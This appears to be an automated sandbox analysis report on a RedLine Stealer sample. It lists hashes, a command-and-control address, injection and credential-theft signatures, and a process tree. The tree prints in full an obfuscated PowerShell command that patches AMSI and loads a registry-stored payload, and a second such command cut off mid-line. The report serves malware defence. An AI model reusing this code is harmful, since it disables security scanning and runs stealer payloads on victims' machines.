Analysis
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max time kernel
40s -
max time network
77s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
05/02/2023, 01:16
Static task
static1
Behavioral task
behavioral1
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win10v2004-20221111-en
General
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Target
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
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Size
626KB
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MD5
47b01695ff80b03ae518b333163da42c
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SHA1
aa95d6c08ae9201828da23593e42df4a2e39ce82
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SHA256
474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e
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SHA512
886a285e76a7d41e14bb1cfef3a464dc47e4b665bfd6905f26961253fd5f4eee0a6fed01afd464d603c8d17f6d09edc475e2fdd4da79178c6be0f54dc5bad466
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SSDEEP
6144:fMEN1L7wFSXZX4KipZx7fuwkBzvGwxAOo8jRfAAfc:f9N1LkFSJX45p3Uhq8jRAAE
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/2436-168-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 4400 created 2584 4400 SmartDefRun.exe 20 PID 4400 created 2584 4400 SmartDefRun.exe 20 PID 4400 created 2584 4400 SmartDefRun.exe 20 PID 4400 created 2584 4400 SmartDefRun.exe 20 PID 1964 created 620 1964 powershell.EXE 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 10 4212 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 4 IoCs
pid Process 1468 new2.exe 344 C4Loader.exe 4400 SmartDefRun.exe 1116 SysApp.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2056 set thread context of 1328 2056 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 84 PID 1468 set thread context of 2436 1468 new2.exe 94 PID 4400 set thread context of 1048 4400 SmartDefRun.exe 118 PID 1964 set thread context of 3724 1964 powershell.EXE 123 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 820 sc.exe 4076 sc.exe 4048 sc.exe 4936 sc.exe 892 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 3532 2056 WerFault.exe 82 3712 1468 WerFault.exe 89 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 42 IoCs
pid Process 4212 powershell.exe 4212 powershell.exe 1116 SysApp.exe 1116 SysApp.exe 1116 SysApp.exe 1116 SysApp.exe 1116 SysApp.exe 1116 SysApp.exe 1116 SysApp.exe 1116 SysApp.exe 1116 SysApp.exe 1116 SysApp.exe 2436 vbc.exe 4400 SmartDefRun.exe 4400 SmartDefRun.exe 2568 powershell.exe 2568 powershell.exe 4400 SmartDefRun.exe 4400 SmartDefRun.exe 4400 SmartDefRun.exe 4400 SmartDefRun.exe 3876 powershell.exe 3876 powershell.exe 4400 SmartDefRun.exe 4400 SmartDefRun.exe 3484 powershell.EXE 1964 powershell.EXE 1964 powershell.EXE 3484 powershell.EXE 1964 powershell.EXE 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe 3724 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4212 powershell.exe Token: SeDebugPrivilege 2436 vbc.exe Token: SeDebugPrivilege 2568 powershell.exe Token: SeDebugPrivilege 3876 powershell.exe Token: SeIncreaseQuotaPrivilege 3876 powershell.exe Token: SeSecurityPrivilege 3876 powershell.exe Token: SeTakeOwnershipPrivilege 3876 powershell.exe Token: SeLoadDriverPrivilege 3876 powershell.exe Token: SeSystemProfilePrivilege 3876 powershell.exe Token: SeSystemtimePrivilege 3876 powershell.exe Token: SeProfSingleProcessPrivilege 3876 powershell.exe Token: SeIncBasePriorityPrivilege 3876 powershell.exe Token: SeCreatePagefilePrivilege 3876 powershell.exe Token: SeBackupPrivilege 3876 powershell.exe Token: SeRestorePrivilege 3876 powershell.exe Token: SeShutdownPrivilege 3876 powershell.exe Token: SeDebugPrivilege 3876 powershell.exe Token: SeSystemEnvironmentPrivilege 3876 powershell.exe Token: SeRemoteShutdownPrivilege 3876 powershell.exe Token: SeUndockPrivilege 3876 powershell.exe Token: SeManageVolumePrivilege 3876 powershell.exe Token: 33 3876 powershell.exe Token: 34 3876 powershell.exe Token: 35 3876 powershell.exe Token: 36 3876 powershell.exe Token: SeIncreaseQuotaPrivilege 3876 powershell.exe Token: SeSecurityPrivilege 3876 powershell.exe Token: SeTakeOwnershipPrivilege 3876 powershell.exe Token: SeLoadDriverPrivilege 3876 powershell.exe Token: SeSystemProfilePrivilege 3876 powershell.exe Token: SeSystemtimePrivilege 3876 powershell.exe Token: SeProfSingleProcessPrivilege 3876 powershell.exe Token: SeIncBasePriorityPrivilege 3876 powershell.exe Token: SeCreatePagefilePrivilege 3876 powershell.exe Token: SeBackupPrivilege 3876 powershell.exe Token: SeRestorePrivilege 3876 powershell.exe Token: SeShutdownPrivilege 3876 powershell.exe Token: SeDebugPrivilege 3876 powershell.exe Token: SeSystemEnvironmentPrivilege 3876 powershell.exe Token: SeRemoteShutdownPrivilege 3876 powershell.exe Token: SeUndockPrivilege 3876 powershell.exe Token: SeManageVolumePrivilege 3876 powershell.exe Token: 33 3876 powershell.exe Token: 34 3876 powershell.exe Token: 35 3876 powershell.exe Token: 36 3876 powershell.exe Token: SeIncreaseQuotaPrivilege 3876 powershell.exe Token: SeSecurityPrivilege 3876 powershell.exe Token: SeTakeOwnershipPrivilege 3876 powershell.exe Token: SeLoadDriverPrivilege 3876 powershell.exe Token: SeSystemProfilePrivilege 3876 powershell.exe Token: SeSystemtimePrivilege 3876 powershell.exe Token: SeProfSingleProcessPrivilege 3876 powershell.exe Token: SeIncBasePriorityPrivilege 3876 powershell.exe Token: SeCreatePagefilePrivilege 3876 powershell.exe Token: SeBackupPrivilege 3876 powershell.exe Token: SeRestorePrivilege 3876 powershell.exe Token: SeShutdownPrivilege 3876 powershell.exe Token: SeDebugPrivilege 3876 powershell.exe Token: SeSystemEnvironmentPrivilege 3876 powershell.exe Token: SeRemoteShutdownPrivilege 3876 powershell.exe Token: SeUndockPrivilege 3876 powershell.exe Token: SeManageVolumePrivilege 3876 powershell.exe Token: 33 3876 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2056 wrote to memory of 1328 2056 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 84 PID 2056 wrote to memory of 1328 2056 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 84 PID 2056 wrote to memory of 1328 2056 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 84 PID 2056 wrote to memory of 1328 2056 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 84 PID 2056 wrote to memory of 1328 2056 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 84 PID 1328 wrote to memory of 4212 1328 vbc.exe 87 PID 1328 wrote to memory of 4212 1328 vbc.exe 87 PID 1328 wrote to memory of 4212 1328 vbc.exe 87 PID 4212 wrote to memory of 1468 4212 powershell.exe 89 PID 4212 wrote to memory of 1468 4212 powershell.exe 89 PID 4212 wrote to memory of 1468 4212 powershell.exe 89 PID 4212 wrote to memory of 344 4212 powershell.exe 91 PID 4212 wrote to memory of 344 4212 powershell.exe 91 PID 4212 wrote to memory of 344 4212 powershell.exe 91 PID 4212 wrote to memory of 4400 4212 powershell.exe 92 PID 4212 wrote to memory of 4400 4212 powershell.exe 92 PID 1468 wrote to memory of 2436 1468 new2.exe 94 PID 1468 wrote to memory of 2436 1468 new2.exe 94 PID 1468 wrote to memory of 2436 1468 new2.exe 94 PID 1468 wrote to memory of 2436 1468 new2.exe 94 PID 4212 wrote to memory of 1116 4212 powershell.exe 93 PID 4212 wrote to memory of 1116 4212 powershell.exe 93 PID 4212 wrote to memory of 1116 4212 powershell.exe 93 PID 1468 wrote to memory of 2436 1468 new2.exe 94 PID 4160 wrote to memory of 4936 4160 cmd.exe 107 PID 4160 wrote to memory of 4936 4160 cmd.exe 107 PID 4160 wrote to memory of 892 4160 cmd.exe 108 PID 4160 wrote to memory of 892 4160 cmd.exe 108 PID 4160 wrote to memory of 820 4160 cmd.exe 109 PID 4160 wrote to memory of 820 4160 cmd.exe 109 PID 4160 wrote to memory of 4076 4160 cmd.exe 110 PID 4160 wrote to memory of 4076 4160 cmd.exe 110 PID 4160 wrote to memory of 4048 4160 cmd.exe 111 PID 4160 wrote to memory of 4048 4160 cmd.exe 111 PID 4160 wrote to memory of 2564 4160 cmd.exe 112 PID 4160 wrote to memory of 2564 4160 cmd.exe 112 PID 4160 wrote to memory of 2184 4160 cmd.exe 113 PID 4160 wrote to memory of 2184 4160 cmd.exe 113 PID 4160 wrote to memory of 4872 4160 cmd.exe 114 PID 4160 wrote to memory of 4872 4160 cmd.exe 114 PID 4160 wrote to memory of 2632 4160 cmd.exe 115 PID 4160 wrote to memory of 2632 4160 cmd.exe 115 PID 4160 wrote to memory of 636 4160 cmd.exe 116 PID 4160 wrote to memory of 636 4160 cmd.exe 116 PID 4400 wrote to memory of 1048 4400 SmartDefRun.exe 118 PID 1964 wrote to memory of 3724 1964 powershell.EXE 123 PID 1964 wrote to memory of 3724 1964 powershell.EXE 123 PID 1964 wrote to memory of 3724 1964 powershell.EXE 123 PID 1964 wrote to memory of 3724 1964 powershell.EXE 123 PID 1964 wrote to memory of 3724 1964 powershell.EXE 123 PID 1964 wrote to memory of 3724 1964 powershell.EXE 123 PID 1964 wrote to memory of 3724 1964 powershell.EXE 123 PID 1964 wrote to memory of 3724 1964 powershell.EXE 123 PID 1964 wrote to memory of 3724 1964 powershell.EXE 123 PID 3724 wrote to memory of 620 3724 dllhost.exe 5 PID 3724 wrote to memory of 684 3724 dllhost.exe 3 PID 3724 wrote to memory of 964 3724 dllhost.exe 80 PID 3724 wrote to memory of 332 3724 dllhost.exe 11 PID 3724 wrote to memory of 424 3724 dllhost.exe 79 PID 3724 wrote to memory of 960 3724 dllhost.exe 78 PID 3724 wrote to memory of 1068 3724 dllhost.exe 13 PID 3724 wrote to memory of 1096 3724 dllhost.exe 77 PID 3724 wrote to memory of 1104 3724 dllhost.exe 76 PID 3724 wrote to memory of 1172 3724 dllhost.exe 14
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:332
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9938509d-58dc-4c00-a507-9574807bb2d4}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3724
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1068
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2892
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:YYJoOjqnMcLl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gbEdhcsluHRQSu,[Parameter(Position=1)][Type]$vHOHDaeFta)$OSXfEeafwTG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'fl'+[Char](101)+'ct'+[Char](101)+'dDe'+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+'y'+'M'+''+[Char](111)+''+'d'+'ul'+[Char](101)+'',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'T'+[Char](121)+'p'+'e'+'',''+[Char](67)+'l'+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+'e'+[Char](97)+'led'+[Char](44)+'A'+[Char](110)+''+[Char](115)+'iCl'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+'t'+'o'+''+[Char](67)+'la'+[Char](115)+''+'s'+'',[MulticastDelegate]);$OSXfEeafwTG.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+'i'+'a'+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+',P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gbEdhcsluHRQSu).SetImplementationFlags(''+'R'+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+'d');$OSXfEeafwTG.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+'e'+''+'w'+''+'S'+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+'a'+'l',$vHOHDaeFta,$gbEdhcsluHRQSu).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+'i'+''+'m'+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'ag'+[Char](101)+''+[Char](100)+'');Write-Output $OSXfEeafwTG.CreateType();}$PYCXMixZviiOS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+'.'+''+'W'+''+'i'+'n'+[Char](51)+'2'+[Char](46)+'U'+[Char](110)+''+'s'+''+'a'+'f'+[Char](101)+''+[Char](80)+''+[Char](89)+''+[Char](67)+''+'X'+''+[Char](77)+''+[Char](105)+''+[Char](120)+'Zv'+'i'+''+'i'+''+'O'+'S');$ragyvkkSXTXWfa=$PYCXMixZviiOS.GetMethod(''+'r'+''+'a'+''+[Char](103)+''+'y'+''+'v'+''+[Char](107)+'k'+'S'+''+'X'+''+'T'+'X'+[Char](87)+''+[Char](102)+''+[Char](97)+'',[Reflection.BindingFlags]'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+'ati'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VouIcGZvyPSpRRWdWgE=YYJoOjqnMcLl @([String])([IntPtr]);$JhcJPwinhFeKBbiFNccyrr=YYJoOjqnMcLl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pyqmqaGRUBb=$PYCXMixZviiOS.GetMethod(''+'G'+'etM'+'o'+'d'+'u'+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+'r'+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+'2'+''+[Char](46)+''+'d'+'l'+[Char](108)+'')));$kLNFJBUZyJNwdn=$ragyvkkSXTXWfa.Invoke($Null,@([Object]$pyqmqaGRUBb,[Object]('Lo'+[Char](97)+''+[Char](100)+'L'+'i'+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$hRVldhGhqrPjqLapj=$ragyvkkSXTXWfa.Invoke($Null,@([Object]$pyqmqaGRUBb,[Object](''+'V'+''+[Char](105)+'r'+[Char](116)+'ual'+'P'+'ro'+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$drgMHJD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kLNFJBUZyJNwdn,$VouIcGZvyPSpRRWdWgE).Invoke(''+[Char](97)+''+'m'+'s'+'i'+'.'+[Char](100)+'l'+[Char](108)+'');$JcUfRIyPCXNWzzsdb=$ragyvkkSXTXWfa.Invoke($Null,@([Object]$drgMHJD,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+'u'+[Char](102)+'f'+[Char](101)+''+'r'+'')));$izyxbGgLvf=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hRVldhGhqrPjqLapj,$JhcJPwinhFeKBbiFNccyrr).Invoke($JcUfRIyPCXNWzzsdb,[uint32]8,4,[ref]$izyxbGgLvf);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$JcUfRIyPCXNWzzsdb,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hRVldhGhqrPjqLapj,$JhcJPwinhFeKBbiFNccyrr).Invoke($JcUfRIyPCXNWzzsdb,[uint32]8,0x20,[ref]$izyxbGgLvf);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'r'+'s'+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qIWuloRCvuJC{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PLkvuYIRyTVNuy,[Parameter(Position=1)][Type]$paYWHlrrts)$OiozROZvlvg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'l'+'e'+''+[Char](103)+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+'M'+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+'le'+[Char](103)+'a'+[Char](116)+''+'e'+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'as'+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+'e'+[Char](100)+''+[Char](44)+'An'+[Char](115)+'i'+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$OiozROZvlvg.DefineConstructor(''+[Char](82)+''+'T'+'S'+'p'+''+'e'+''+'c'+''+[Char](105)+''+[Char](97)+'lN'+[Char](97)+''+[Char](109)+''+[Char](101)+','+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+'g'+[Char](44)+''+'P'+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PLkvuYIRyTVNuy).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+'a'+[Char](103)+''+'e'+'d');$OiozROZvlvg.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+''+'k'+''+'e'+'',''+'P'+'u'+'b'+''+[Char](1